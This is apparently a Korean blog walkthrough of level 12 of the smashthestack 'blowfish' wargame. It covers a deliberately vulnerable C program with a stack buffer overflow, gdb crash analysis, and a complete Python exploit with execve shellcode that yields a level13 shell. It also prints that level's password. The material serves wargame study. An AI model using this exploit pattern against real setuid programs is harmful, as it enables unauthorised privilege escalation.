blowfish.smashthestack.org – Level12 풀이

이 문제를 풀기위해 어언 1년이 걸린거 같다…
마침에 최종 레벨을 다 풀어냈다. 이 감격이란 -_-……

/*
 * Anyone hating this level yet?
 * Having problems?
 * good... ;)
 *
 * Created by: ddle
 *
 */

#include <stdio.h>

int
func(arg)
char            *arg;
{

        char            buf[40];

        strncpy(buf , arg , 64);
        return 0;

}

int
main(argc , argv , envp)
int             argc;
char            **argv;
char            **envp;
{

        if(argc > 2 || *envp)
        {
                printf("Tcuk Tcuk Tcuk\n");
                exit(1);
        }

        if(strchr(argv[1] , 0xbf))
        {
                printf(".tsol m'i kcuF\n");
                exit(1);
        }

        func(argv[1]);

        return 0;

}

일단 먼저 if(argc > 2 || *envp) 부분을 보게 되면 인자를 하나만 줄수 있으며 환경변수가 없어야 한다.
그리고 인자로 줄 주소에 0xbf 를 체크한다. 따라서 기존 문제처럼 풀이를 할 수가 없다…

우선 /tmp 폴더에서 작업을 해보자. 문제 파일을 복사해 와 core 파일을 남기도록 하여 우선 아래와 같이 공격을 해보자.

level12@blowfish:/tmp/by$ env --help
Usage: env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...]
Set each NAME to VALUE in the environment and run COMMAND.

  -i, --ignore-environment   start with an empty environment
  -u, --unset=NAME           remove variable from the environment
      --help     display this help and exit
      --version  output version information and exit

A mere - implies -i.  If no COMMAND, print the resulting environment.

Report bugs to <bug-coreutils@gnu.org>.
level12@blowfish:/tmp/by$ env -i level12 `python -c "print 'A'*80"`
Segmentation fault (core dumped)
level12@blowfish:/tmp/by$ gdb level12 core.19822
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Reading symbols from /lib/snoopy.so...done.
Loaded symbols for /lib/snoopy.so
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `level12 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
[New process 19822]
#0  0x41414141 in ?? ()
(gdb) q

우선 env 명령어를 이용하여 환경변수를 다 날린 후 실행을 하도록 한다. 그럼 환경변수 체크를 하는 부분은 우회를 할 수 있게 된다. 이제 core 파일을 확인한 결과 우리가 입력한 부분에서 에러가 난것을 확인할 수 있었다.

이제 정확한 위치를 파악하도록 해보자.

level12@blowfish:/tmp/by$ env -i level12 `python -c "print 'A'*60 + 'BBBB'"`
Segmentation fault (core dumped)
level12@blowfish:/tmp/by$ gdb level12 core.19961
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Reading symbols from /lib/snoopy.so...done.
Loaded symbols for /lib/snoopy.so
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `level12 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB'.
Program terminated with signal 11, Segmentation fault.
[New process 19961]
#0  0x42424242 in ?? ()
(gdb) q

정확하게 60개 이후에 우리가 원하는 주소를 입력할 수 있겠다. 여기에 이제 ret 주소를 입력하여 공격을 하도록 하자. ret 주소를 넣으면 esp + 4 위치를 참고하게 된다. 아래 gdb를 통해 확인한 과정을 살펴보자.

level12@blowfish:/tmp/by$ gdb level12
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disassemble main
Dump of assembler code for function main:
0x0804844b <main+0>:    push   %ebp
0x0804844c <main+1>:    mov    %esp,%ebp
0x0804844e <main+3>:    sub    $0x8,%esp
0x08048451 <main+6>:    and    $0xfffffff0,%esp
0x08048454 <main+9>:    mov    $0x0,%eax
0x08048459 <main+14>:   sub    %eax,%esp
0x0804845b <main+16>:   cmpl   $0x2,0x8(%ebp)
0x0804845f <main+20>:   jg     0x804846b <main+32>
0x08048461 <main+22>:   mov    0x10(%ebp),%eax
0x08048464 <main+25>:   cmpl   $0x0,(%eax)
0x08048467 <main+28>:   jne    0x804846b <main+32>
0x08048469 <main+30>:   jmp    0x8048483 <main+56>
0x0804846b <main+32>:   movl   $0x80485e4,(%esp)
0x08048472 <main+39>:   call   0x8048330 <printf@plt>
0x08048477 <main+44>:   movl   $0x1,(%esp)
0x0804847e <main+51>:   call   0x8048340 <exit@plt>
0x08048483 <main+56>:   mov    0xc(%ebp),%eax
0x08048486 <main+59>:   add    $0x4,%eax
0x08048489 <main+62>:   movl   $0xbf,0x4(%esp)
0x08048491 <main+70>:   mov    (%eax),%eax
0x08048493 <main+72>:   mov    %eax,(%esp)
0x08048496 <main+75>:   call   0x8048310 <strchr@plt>
0x0804849b <main+80>:   test   %eax,%eax
0x0804849d <main+82>:   je     0x80484b7 <main+108>
0x0804849f <main+84>:   movl   $0x80485f4,(%esp)
0x080484a6 <main+91>:   call   0x8048330 <printf@plt>
0x080484ab <main+96>:   movl   $0x1,(%esp)
0x080484b2 <main+103>:  call   0x8048340 <exit@plt>
0x080484b7 <main+108>:  mov    0xc(%ebp),%eax
0x080484ba <main+111>:  add    $0x4,%eax
0x080484bd <main+114>:  mov    (%eax),%eax
0x080484bf <main+116>:  mov    %eax,(%esp)
0x080484c2 <main+119>:  call   0x8048424 <func>
0x080484c7 <main+124>:  mov    $0x0,%eax
---Type <return> to continue, or q <return> to quit---
0x080484cc <main+129>:  leave
0x080484cd <main+130>:  ret
End of assembler dump.
(gdb) b *main+16
Breakpoint 1 at 0x804845b
(gdb) disassemble func
Dump of assembler code for function func:
0x08048424 <func+0>:    push   %ebp
0x08048425 <func+1>:    mov    %esp,%ebp
0x08048427 <func+3>:    sub    $0x48,%esp
0x0804842a <func+6>:    movl   $0x40,0x8(%esp)
0x08048432 <func+14>:   mov    0x8(%ebp),%eax
0x08048435 <func+17>:   mov    %eax,0x4(%esp)
0x08048439 <func+21>:   lea    -0x38(%ebp),%eax
0x0804843c <func+24>:   mov    %eax,(%esp)
0x0804843f <func+27>:   call   0x8048350 <strncpy@plt>
0x08048444 <func+32>:   mov    $0x0,%eax
0x08048449 <func+37>:   leave
0x0804844a <func+38>:   ret
End of assembler dump.
(gdb) b *func+38
Breakpoint 2 at 0x804844a
(gdb) info b
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x0804845b <main+16>
2       breakpoint     keep y   0x0804844a <func+38>
(gdb) r `python -c "print 'A'*60 + '\xc7\x84\x04\x08'"`
Starting program: /tmp/by/level12 `python -c "print 'A'*60 + '\xc7\x84\x04\x08'"`

Breakpoint 1, 0x0804845b in main ()
(gdb) jump *0x8048483
Continuing at 0x8048483.

Breakpoint 2, 0x0804844a in func ()
(gdb) x/32wx $esp
0xbfffd84c:     0x080484c7      0xbfffd9e9      0x000000bf      0xbfffd8b8
0xbfffd85c:     0x00126455      0x00000002      0xbfffd8e4      0xbfffd8f0
0xbfffd86c:     0x00e14088      0x00000001      0x00000001      0x00000000
0xbfffd87c:     0x08048261      0x00249ff4      0x080484d0      0x08048360
0xbfffd88c:     0xbfffd8b8      0xebb0c081      0x30c835fe      0x00000000
0xbfffd89c:     0x00000000      0x00000000      0x008e12e0      0x0012637d
0xbfffd8ac:     0x008e8ff4      0x00000002      0x08048360      0x00000000
0xbfffd8bc:     0x08048381      0x0804844b      0x00000002      0xbfffd8e4
(gdb) x/32wx 0xbfffd9e9
0xbfffd9e9:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffd9f9:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffda09:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffda19:     0x41414141      0x41414141      0x41414141      0x080484c7
0xbfffda29:     0x45485300      0x2f3d4c4c      0x2f6e6962      0x68736162
0xbfffda39:     0x52455400      0x74783d4d      0x006d7265      0x5f485353
0xbfffda49:     0x45494c43      0x353d544e      0x32322e39      0x3134312e
0xbfffda59:     0x3533322e      0x31343420      0x32203931      0x53530032
(gdb)

위와 같이 ret가 호출되기 바로 직전에 esp+4 위치의 주소를 확인해보면 우리가 입력한 ‘A’가 들어가 있는걸 확인할 수 있다. 따라서 ‘A’ 대신 ‘NOP + SHELLCODE’ 로 구성하여 공격을 진행하면 될 것이다.

level12@blowfish:/tmp/by$ gdb level12
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disassemble main
Dump of assembler code for function main:
0x0804844b <main+0>:    push   %ebp
0x0804844c <main+1>:    mov    %esp,%ebp
0x0804844e <main+3>:    sub    $0x8,%esp
0x08048451 <main+6>:    and    $0xfffffff0,%esp
0x08048454 <main+9>:    mov    $0x0,%eax
0x08048459 <main+14>:   sub    %eax,%esp
0x0804845b <main+16>:   cmpl   $0x2,0x8(%ebp)
0x0804845f <main+20>:   jg     0x804846b <main+32>
0x08048461 <main+22>:   mov    0x10(%ebp),%eax
0x08048464 <main+25>:   cmpl   $0x0,(%eax)
0x08048467 <main+28>:   jne    0x804846b <main+32>
0x08048469 <main+30>:   jmp    0x8048483 <main+56>
0x0804846b <main+32>:   movl   $0x80485e4,(%esp)
0x08048472 <main+39>:   call   0x8048330 <printf@plt>
0x08048477 <main+44>:   movl   $0x1,(%esp)
0x0804847e <main+51>:   call   0x8048340 <exit@plt>
0x08048483 <main+56>:   mov    0xc(%ebp),%eax
0x08048486 <main+59>:   add    $0x4,%eax
0x08048489 <main+62>:   movl   $0xbf,0x4(%esp)
0x08048491 <main+70>:   mov    (%eax),%eax
0x08048493 <main+72>:   mov    %eax,(%esp)
0x08048496 <main+75>:   call   0x8048310 <strchr@plt>
0x0804849b <main+80>:   test   %eax,%eax
0x0804849d <main+82>:   je     0x80484b7 <main+108>
0x0804849f <main+84>:   movl   $0x80485f4,(%esp)
0x080484a6 <main+91>:   call   0x8048330 <printf@plt>
---Type <return> to continue, or q <return> to quit---
0x080484ab <main+96>:   movl   $0x1,(%esp)
0x080484b2 <main+103>:  call   0x8048340 <exit@plt>
0x080484b7 <main+108>:  mov    0xc(%ebp),%eax
0x080484ba <main+111>:  add    $0x4,%eax
0x080484bd <main+114>:  mov    (%eax),%eax
0x080484bf <main+116>:  mov    %eax,(%esp)
0x080484c2 <main+119>:  call   0x8048424 <func>
0x080484c7 <main+124>:  mov    $0x0,%eax
0x080484cc <main+129>:  leave 
0x080484cd <main+130>:  ret   
End of assembler dump.
(gdb) q

ret주소는 0x080484cd 이다. Payload 구성은 아래와 같다.
[NOP * 26] + [Shellcode, 34] + [RET]

#!/usr/bin/python
import os
from struct import pack

# length : 34
shellcode = ''
shellcode += '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b'
shellcode += '\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'

payload = ''
payload += '\x90'*26
payload += shellcode
payload += pack('<L', 0x080484cd) # ret

env = os.environ.keys()
for item in env:
        os.unsetenv(item)
os.execl('/levels/level12', 'level12', payload)
level12@blowfish:/tmp/by$ ./ex.py
level13@blowfish:/tmp/by$ id
uid=1015(level13) gid=1014(level12) groups=1014(level12)
level13@blowfish:/tmp/by$ cat /pass/level13
0n3_m0r3.
level13@blowfish:/tmp/by$

댓글 남기기

이메일은 공개되지 않습니다. 필수 입력창은 * 로 표시되어 있습니다